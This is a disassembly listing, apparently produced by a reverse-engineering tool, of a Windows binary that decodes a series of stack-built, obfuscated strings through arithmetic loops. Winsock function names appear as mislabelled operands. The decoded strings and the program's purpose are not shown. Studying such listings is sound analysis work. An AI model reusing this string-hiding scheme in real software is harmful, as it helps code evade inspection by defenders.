mov byte [rbp + 0x9b0], 0x5b
mov byte [rbp + 0x9b1], 0x5b
mov byte [rbp + 0x9b2], 0x5b
mov al, byte [rbp + 0x9a0]
test al, 1
jne 0x140020b1a
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x9a1]
movzx ecx, cl
imul ecx, ecx, 0x37
mov edx, ecx
add edx, 0xffffec73
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xffffec73
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xffffec73
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x9a1], cl
add rax, 1
cmp rax, 0x12
jne 0x140020aa0
lea rax, [rbp + 0x9a1]
mov qword [rbp + 0x3e8], rax
mov byte [rbp + 0xb08], 0
mov byte [rbp + 0xb09], 0x26
mov byte [rbp + 0xb0a], WSACleanup
mov byte [rbp + 0xb0b], 0x1d
mov byte [rbp + 0xb0c], WSACleanup
mov byte [rbp + 0xb0d], 0x62
mov byte [rbp + 0xb0e], WSACleanup
mov byte [rbp + 0xb0f], 0x5d
mov byte [rbp + 0xb10], WSACleanup
mov byte [rbp + 0xb11], 0x23
mov byte [rbp + 0xb12], WSACleanup
mov byte [rbp + 0xb13], gethostname
mov byte [rbp + 0xb14], WSACleanup
mov byte [rbp + 0xb15], WSACleanup
mov byte [rbp + 0xb16], WSACleanup
mov al, byte [rbp + 0xb08]
test al, 1
jne 0x140020c1a
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0xb09]
movzx ecx, cl
imul ecx, ecx, 0xffffffdd
mov edx, ecx
add edx, 0xf96
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xf96
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xf96
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xb09], cl
add rax, 1
cmp rax, 0xe
jne 0x140020ba0
lea rax, [rbp + 0xb09]
mov qword [rbp + 0x3f0], rax
mov byte [rbp + 0xb18], 0
mov byte [rbp + 0xb19], 0x27
mov byte [rbp + 0xb1a], 0x7b
mov byte [rbp + 0xb1b], 0x43
mov byte [rbp + 0xb1c], 0x7b
mov byte [rbp + 0xb1d], WSACleanup
mov byte [rbp + 0xb1e], 0x7b
mov byte [rbp + 0xb1f], 0x2a
mov byte [rbp + 0xb20], 0x7b
mov byte [rbp + 0xb21], 0x4c
mov byte [rbp + 0xb22], 0x7b
mov byte [rbp + 0xb23], shutdown
mov byte [rbp + 0xb24], 0x7b
mov byte [rbp + 0xb25], 0x7b
mov byte [rbp + 0xb26], 0x7b
mov al, byte [rbp + 0xb18]
test al, 1
jne 0x140020d2e
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0xb19]
movzx ecx, cl
lea edx, [rcx + rcx*4]
lea ebx, [rcx + rdx*8]
lea ecx, [rcx + rdx*8]
add ecx, 0xffffec4d
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xffffec4d
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xffffec4d
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xb19], cl
add rax, 1
cmp rax, 0xe
jne 0x140020cb0
lea rax, [rbp + 0xb19]
mov qword [rbp + 0x3f8], rax
mov byte [rbp + 0x748], 0
mov byte [rbp + 0x749], 0x5f
mov byte [rbp + 0x74a], 0x22
mov byte [rbp + 0x74b], 0x2b
mov byte [rbp + 0x74c], 0x22
mov byte [rbp + 0x74d], 0x2b
mov byte [rbp + 0x74e], 0x22
mov byte [rbp + 0x74f], 0x4f
mov byte [rbp + 0x750], 0x22
mov byte [rbp + 0x751], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x752], 0x22
mov byte [rbp + 0x753], 0x21
mov byte [rbp + 0x754], 0x22
mov byte [rbp + 0x755], gethostname
mov byte [rbp + 0x756], 0x22
mov byte [rbp + 0x757], WSAGetLastError
mov byte [rbp + 0x758], 0x22
mov byte [rbp + 0x759], 0x21
mov byte [rbp + 0x75a], 0x22
mov byte [rbp + 0x75b], 0x22
mov byte [rbp + 0x75c], 0x22
mov al, byte [rbp + 0x748]
test al, 1
jne 0x140020e5b
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0x749]
movzx ecx, cl
lea ecx, [rcx + rcx*2]
lea edx, [rcx*4 - 0x198]
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
lea edx, [rdx + rcx*4]
add edx, 0xfffffe68
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
lea ecx, [rdx + rcx*4]
add ecx, 0xfffffe68
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x749], cl
add rax, 1
cmp rax, 0x14
jne 0x140020de0
lea rax, [rbp + 0x749]
mov qword [rbp + 0x400], rax
mov byte [rbp + 0xab0], 0
mov byte [rbp + 0xab1], 0x40
mov byte [rbp + 0xab2], setsockopt
mov byte [rbp + 0xab3], 0x51
mov byte [rbp + 0xab4], setsockopt
mov byte [rbp + 0xab5], 0x62
mov byte [rbp + 0xab6], setsockopt
mov byte [rbp + 0xab7], 0xd
mov byte [rbp + 0xab8], setsockopt
mov byte [rbp + 0xab9], 0x63
mov byte [rbp + 0xaba], setsockopt
mov byte [rbp + 0xabb], 0x49
mov byte [rbp + 0xabc], setsockopt
mov byte [rbp + 0xabd], 0x52
mov byte [rbp + 0xabe], setsockopt
mov byte [rbp + 0xabf], setsockopt
mov byte [rbp + 0xac0], setsockopt
mov al, byte [rbp + 0xab0]
test al, 1
jne 0x140020f6e
xor eax, eax
movzx ecx, byte [rbp + rax + 0xab1]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rcx*2]
add ecx, 0xffffff1f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xffffff1f
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xffffff1f
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xab1], cl
add rax, 1
cmp rax, 0x10
jne 0x140020ef0
lea rax, [rbp + 0xab1]
mov qword [rbp + 0x408], rax
mov byte [rbp + 0x6e8], 0
mov byte [rbp + 0x6e9], 0x54
mov byte [rbp + 0x6ea], WSAGetLastError
mov byte [rbp + 0x6eb], 0x2a
mov byte [rbp + 0x6ec], WSAGetLastError
mov byte [rbp + 0x6ed], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x6ee], WSAGetLastError
mov byte [rbp + 0x6ef], 0x1b
mov byte [rbp + 0x6f0], WSAGetLastError
mov byte [rbp + 0x6f1], 0x3c
mov byte [rbp + 0x6f2], WSAGetLastError
mov byte [rbp + 0x6f3], 0x54
mov byte [rbp + 0x6f4], WSAGetLastError
mov byte [rbp + 0x6f5], 0x48
mov byte [rbp + 0x6f6], WSAGetLastError
mov byte [rbp + 0x6f7], 0x4d
mov byte [rbp + 0x6f8], WSAGetLastError
mov byte [rbp + 0x6f9], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x6fa], WSAGetLastError
mov byte [rbp + 0x6fb], 0x4b
mov byte [rbp + 0x6fc], WSAGetLastError
mov byte [rbp + 0x6fd], WSAGetLastError
mov byte [rbp + 0x6fe], WSAGetLastError
mov al, byte [rbp + 0x6e8]
test al, 1
jne 0x1400210aa
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x6e9]
movzx ecx, cl
imul ecx, ecx, 0xffffffd6
mov edx, ecx
add edx, 0x11b8
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x11b8
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x11b8
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x6e9], cl
add rax, 1
cmp rax, 0x16
jne 0x140021030
lea rax, [rbp + 0x6e9]
mov qword [rbp + 0x410], rax
mov byte [rbp + 0xac8], 0
mov byte [rbp + 0xac9], 0
mov byte [rbp + 0xaca], 0x67
mov byte [rbp + 0xacb], 0x77
mov byte [rbp + 0xacc], 0x67
mov byte [rbp + 0xacd], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xace], 0x67
mov byte [rbp + 0xacf], 0x4a
mov byte [rbp + 0xad0], 0x67
mov byte [rbp + 0xad1], 0x5a
mov byte [rbp + 0xad2], 0x67
mov byte [rbp + 0xad3], 0x56
mov byte [rbp + 0xad4], 0x67
mov byte [rbp + 0xad5], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0xad6], 0x67
mov byte [rbp + 0xad7], 0x67
mov byte [rbp + 0xad8], 0x67
mov al, byte [rbp + 0xac8]
test al, 1
jne 0x1400211be
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0xac9]
movzx ecx, cl
mov edx, ecx
shl edx, 5
sub edx, ecx
mov ecx, edx
add ecx, 0xfffff387
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffff387
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffff387
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xac9], cl
add rax, 1
cmp rax, 0x10
jne 0x140021140
lea rax, [rbp + 0xac9]
mov qword [rbp + 0x418], rax
mov byte [rbp + 0x760], 0
mov byte [rbp + 0x761], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x762], 0x2a
mov byte [rbp + 0x763], 0x65
mov byte [rbp + 0x764], 0x2a
mov byte [rbp + 0x765], 0x5e
mov byte [rbp + 0x766], 0x2a
mov byte [rbp + 0x767], gethostbyname
mov byte [rbp + 0x768], 0x2a
mov byte [rbp + 0x769], WSAGetLastError
mov byte [rbp + 0x76a], 0x2a
mov byte [rbp + 0x76b], 0x1c
mov byte [rbp + 0x76c], 0x2a
mov byte [rbp + 0x76d], WSAGetLastError
mov byte [rbp + 0x76e], 0x2a
mov byte [rbp + 0x76f], 0x22
mov byte [rbp + 0x770], 0x2a
mov byte [rbp + 0x771], 8
mov byte [rbp + 0x772], 0x2a
mov byte [rbp + 0x773], 0x2a
mov byte [rbp + 0x774], 0x2a
mov al, byte [rbp + 0x760]
test al, 1
jne 0x1400212ee
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0x761]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea ebx, [rcx + rdx*2]
lea ecx, [rcx + rdx*2]
add ecx, 0xfffffce2
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffffce2
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffffce2
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x761], cl
add rax, 1
cmp rax, 0x14
jne 0x140021270
lea rax, [rbp + 0x761]
mov qword [rbp + 0x420], rax
mov byte [rbp + 0x930], 0
mov byte [rbp + 0x931], gethostname
mov byte [rbp + 0x932], 0x5d
mov byte [rbp + 0x933], 0x4a
mov byte [rbp + 0x934], 0x5d
mov byte [rbp + 0x935], gethostname
mov byte [rbp + 0x936], 0x5d
mov byte [rbp + 0x937], 0x25
mov byte [rbp + 0x938], 0x5d
mov byte [rbp + 0x939], gethostname
mov byte [rbp + 0x93a], 0x5d
mov byte [rbp + 0x93b], 0x24
mov byte [rbp + 0x93c], 0x5d
mov byte [rbp + 0x93d], 0x19
mov byte [rbp + 0x93e], 0x5d
mov byte [rbp + 0x93f], 1
mov byte [rbp + 0x940], 0x5d
mov byte [rbp + 0x941], 0
mov byte [rbp + 0x942], 0x5d
mov byte [rbp + 0x943], gethostname
mov byte [rbp + 0x944], 0x5d
mov byte [rbp + 0x945], shutdown
mov byte [rbp + 0x946], 0x5d
mov byte [rbp + 0x947], 0x24
mov byte [rbp + 0x948], 0x5d
mov byte [rbp + 0x949], gethostname
mov byte [rbp + 0x94a], 0x5d
mov byte [rbp + 0x94b], 0x19
mov byte [rbp + 0x94c], 0x5d
mov byte [rbp + 0x94d], WSAGetLastError
mov byte [rbp + 0x94e], 0x5d
mov byte [rbp + 0x94f], shutdown
mov byte [rbp + 0x950], 0x5d
mov byte [rbp + 0x951], 0x23
mov byte [rbp + 0x952], 0x5d
mov byte [rbp + 0x953], 0
mov byte [rbp + 0x954], 0x5d
mov byte [rbp + 0x955], 0x49
mov byte [rbp + 0x956], 0x5d
mov byte [rbp + 0x957], 0x24
mov byte [rbp + 0x958], 0x5d
mov byte [rbp + 0x959], 0x7d
mov byte [rbp + 0x95a], 0x5d
mov byte [rbp + 0x95b], 0x25
mov byte [rbp + 0x95c], 0x5d
mov byte [rbp + 0x95d], WSAGetLastError
mov byte [rbp + 0x95e], 0x5d
mov byte [rbp + 0x95f], 0
mov byte [rbp + 0x960], 0x5d
mov byte [rbp + 0x961], shutdown
mov byte [rbp + 0x962], 0x5d
mov byte [rbp + 0x963], 0x5d
mov byte [rbp + 0x964], 0x5d
mov al, byte [rbp + 0x930]
test al, 1
jne 0x140021500
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0x931]
movzx ecx, cl
lea edx, [rcx*8]
sub edx, ecx
mov ecx, edx
add ecx, 0xfffffd75
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffd75
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffd75
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x931], cl
add rax, 1
cmp rax, 0x34
jne 0x140021480
lea rax, [rbp + 0x931]
mov qword [rbp + 0x428], rax
mov byte [rbp + 0xae0], 0
mov byte [rbp + 0xae1], 0x44
mov byte [rbp + 0xae2], gethostbyname
mov byte [rbp + 0xae3], 0x76
mov byte [rbp + 0xae4], gethostbyname
mov byte [rbp + 0xae5], 0x52
mov byte [rbp + 0xae6], gethostbyname
mov byte [rbp + 0xae7], 0x7d
mov byte [rbp + 0xae8], gethostbyname
mov byte [rbp + 0xae9], 0x28
mov byte [rbp + 0xaea], gethostbyname
mov byte [rbp + 0xaeb], 0x3d
mov byte [rbp + 0xaec], gethostbyname
mov byte [rbp + 0xaed], 5
mov byte [rbp + 0xaee], gethostbyname
mov byte [rbp + 0xaef], gethostbyname
mov byte [rbp + 0xaf0], gethostbyname
mov al, byte [rbp + 0xae0]
test al, 1
jne 0x140021615
xor eax, eax
nop word cs:[rax + rax]
nop
movzx ecx, byte [rbp + rax + 0xae1]
movzx ecx, cl
add ecx, ecx
lea ecx, [rcx + rcx*8]
mov edx, 0x33c
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x33c
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xae1], cl
add rax, 1
cmp rax, 0x10
jne 0x1400215a0
lea rax, [rbp + 0xae1]
mov qword [rbp + 0x430], rax
mov byte [rbp + 0xb28], 0
mov byte [rbp + 0xb29], 0x1b
mov byte [rbp + 0xb2a], 0x45
mov byte [rbp + 0xb2b], 0x29
mov byte [rbp + 0xb2c], 0x45
mov byte [rbp + 0xb2d], 0x29
mov byte [rbp + 0xb2e], 0x45
mov byte [rbp + 0xb2f], 0x1b
mov byte [rbp + 0xb30], 0x45
mov byte [rbp + 0xb31], 4
mov byte [rbp + 0xb32], 0x45
mov byte [rbp + 0xb33], 0x57
mov byte [rbp + 0xb34], 0x45
mov byte [rbp + 0xb35], 0x45
mov byte [rbp + 0xb36], 0x45
mov al, byte [rbp + 0xb28]
test al, 1
jne 0x14002171a
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0xb29]
movzx ecx, cl
imul ecx, ecx, 0x37
mov edx, ecx
add edx, 0xfffff12d
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff12d
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xfffff12d
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xb29], cl
add rax, 1
cmp rax, 0xe
jne 0x1400216a0
lea rax, [rbp + 0xb29]
mov qword [rbp + 0x438], rax
mov byte [rbp + 0x8e0], 0
mov byte [rbp + 0x8e1], WSAGetLastError
mov byte [rbp + 0x8e2], 0x4e
mov byte [rbp + 0x8e3], 0x1d
mov byte [rbp + 0x8e4], 0x4e
mov byte [rbp + 0x8e5], 0x1d
mov byte [rbp + 0x8e6], 0x4e
mov byte [rbp + 0x8e7], 0x7e
mov byte [rbp + 0x8e8], 0x4e
mov byte [rbp + 0x8e9], 0x28
mov byte [rbp + 0x8ea], 0x4e
mov byte [rbp + 0x8eb], 0x7a
mov byte [rbp + 0x8ec], 0x4e
mov byte [rbp + 0x8ed], WSAGetLastError
mov byte [rbp + 0x8ee], 0x4e
mov byte [rbp + 0x8ef], 0x3b
mov byte [rbp + 0x8f0], 0x4e
mov byte [rbp + 0x8f1], 0x28
mov byte [rbp + 0x8f2], 0x4e
mov byte [rbp + 0x8f3], 0x55
mov byte [rbp + 0x8f4], 0x4e
mov byte [rbp + 0x8f5], 0xe
mov byte [rbp + 0x8f6], 0x4e
mov byte [rbp + 0x8f7], 0x40
mov byte [rbp + 0x8f8], 0x4e
mov byte [rbp + 0x8f9], 0x42
mov byte [rbp + 0x8fa], 0x4e
mov byte [rbp + 0x8fb], WSAGetLastError
mov byte [rbp + 0x8fc], 0x4e
mov byte [rbp + 0x8fd], 0x3b
mov byte [rbp + 0x8fe], 0x4e
mov byte [rbp + 0x8ff], WSAGetLastError
mov byte [rbp + 0x900], 0x4e
mov byte [rbp + 0x901], 0x4e
mov byte [rbp + 0x902], 0x4e
mov al, byte [rbp + 0x8e0]
test al, 1
jne 0x1400218b0
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x8e1]
movzx ecx, cl
mov edx, ecx
shl edx, 5
lea ebx, [rdx + rcx*2]
lea ecx, [rdx + rcx*2]
add ecx, 0xfffff5a4
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffff5a4
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffff5a4
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x8e1], cl
add rax, 1
cmp rax, 0x22
jne 0x140021830
lea rax, [rbp + 0x8e1]
mov qword [rbp + 0x440], rax
mov byte [rbp + 0xa48], 0
mov byte [rbp + 0xa49], 0x4f
mov byte [rbp + 0xa4a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa4b], 0x47
mov byte [rbp + 0xa4c], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa4d], 0x3b
mov byte [rbp + 0xa4e], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa4f], 0x59
mov byte [rbp + 0xa50], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa51], 0x53
mov byte [rbp + 0xa52], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa53], 0x5b
mov byte [rbp + 0xa54], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa55], 0x53
mov byte [rbp + 0xa56], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa57], 0x41
mov byte [rbp + 0xa58], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa59], 0x5d
mov byte [rbp + 0xa5a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa5b], 0x50
mov byte [rbp + 0xa5c], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa5d], 0x51
mov byte [rbp + 0xa5e], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa5f], 0x3f
mov byte [rbp + 0xa60], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa61], 0x5d
mov byte [rbp + 0xa62], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa63], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa64], reloc.WS2_32.dll_WSAStartup
mov al, byte [rbp + 0xa48]
test al, 1
jne 0x140021a26
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0xa49]
movzx ecx, cl
mov edx, ecx
shl edx, 6
mov ebx, ecx
sub ebx, edx
neg edx
add ecx, edx
add ecx, 0x1c4d
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0x1c4d
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0x1c4d
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xa49], cl
add rax, 1
cmp rax, 0x1c
jne 0x1400219a0
lea rax, [rbp + 0xa49]
mov qword [rbp + 0x448], rax
mov byte [rbp + 0x908], 0
mov byte [rbp + 0x909], 0x1f
mov byte [rbp + 0x90a], 0x60
mov byte [rbp + 0x90b], 0x49
mov byte [rbp + 0x90c], 0x60
mov byte [rbp + 0x90d], 9
mov byte [rbp + 0x90e], 0x60
mov byte [rbp + 0x90f], 0x2a
mov byte [rbp + 0x910], 0x60
mov byte [rbp + 0x911], 0xa
mov byte [rbp + 0x912], 0x60
mov byte [rbp + 0x913], 0x5f
mov byte [rbp + 0x914], 0x60
mov byte [rbp + 0x915], 0xa
mov byte [rbp + 0x916], 0x60
mov byte [rbp + 0x917], 0x29
mov byte [rbp + 0x918], 0x60
mov byte [rbp + 0x919], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x91a], 0x60
mov byte [rbp + 0x91b], 0xe
mov byte [rbp + 0x91c], 0x60
mov byte [rbp + 0x91d], 0x5f
mov byte [rbp + 0x91e], 0x60
mov byte [rbp + 0x91f], shutdown
mov byte [rbp + 0x920], 0x60
mov byte [rbp + 0x921], 0x1e
mov byte [rbp + 0x922], 0x60
mov byte [rbp + 0x923], 0x2a
mov byte [rbp + 0x924], 0x60
mov byte [rbp + 0x925], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x926], 0x60
mov byte [rbp + 0x927], 0x3e
mov byte [rbp + 0x928], 0x60
mov byte [rbp + 0x929], 0x60
mov byte [rbp + 0x92a], 0x60
mov al, byte [rbp + 0x908]
test al, 1
jne 0x140021bbb
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x909]
movzx ecx, cl
lea ecx, [rcx + rcx*2]
lea edx, [rcx*4 - 0x480]
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
lea edx, [rdx + rcx*4]
add edx, 0xfffffb80
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
lea ecx, [rdx + rcx*4]
add ecx, 0xfffffb80
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x909], cl
add rax, 1
cmp rax, 0x22
jne 0x140021b40
lea rax, [rbp + 0x909]
mov qword [rbp + 0x450], rax
mov byte [rbp + 0x840], 0
mov byte [rbp + 0x841], 0x23
mov byte [rbp + 0x842], 0x3f
mov byte [rbp + 0x843], 0x4c
mov byte [rbp + 0x844], 0x3f
mov byte [rbp + 0x845], gethostbyname
mov byte [rbp + 0x846], 0x3f
mov byte [rbp + 0x847], gethostname
mov byte [rbp + 0x848], 0x3f
mov byte [rbp + 0x849], 0x3a
mov byte [rbp + 0x84a], 0x3f
mov byte [rbp + 0x84b], 0x4c
mov byte [rbp + 0x84c], 0x3f
mov byte [rbp + 0x84d], gethostname
mov byte [rbp + 0x84e], 0x3f
mov byte [rbp + 0x84f], gethostbyname
mov byte [rbp + 0x850], 0x3f
mov byte [rbp + 0x851], gethostbyname
mov byte [rbp + 0x852], 0x3f
mov byte [rbp + 0x853], gethostname
mov byte [rbp + 0x854], 0x3f
mov byte [rbp + 0x855], 0x1f
mov byte [rbp + 0x856], 0x3f
mov byte [rbp + 0x857], 0x43
mov byte [rbp + 0x858], 0x3f
mov byte [rbp + 0x859], 0x55
mov byte [rbp + 0x85a], 0x3f
mov byte [rbp + 0x85b], 8
mov byte [rbp + 0x85c], 0x3f
mov byte [rbp + 0x85d], 0x3a
mov byte [rbp + 0x85e], 0x3f
mov byte [rbp + 0x85f], gethostname
mov byte [rbp + 0x860], 0x3f
mov byte [rbp + 0x861], 0x3a
mov byte [rbp + 0x862], 0x3f
mov byte [rbp + 0x863], 0x3f
mov byte [rbp + 0x864], 0x3f
mov al, byte [rbp + 0x840]
test al, 1
jne 0x140021d60
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x841]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea edx, [rdx + rdx*2]
lea ebx, [rcx + rdx]
add ebx, 0xfffff91c
add ecx, edx
movsx edx, bx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff91c
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xfffff91c
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
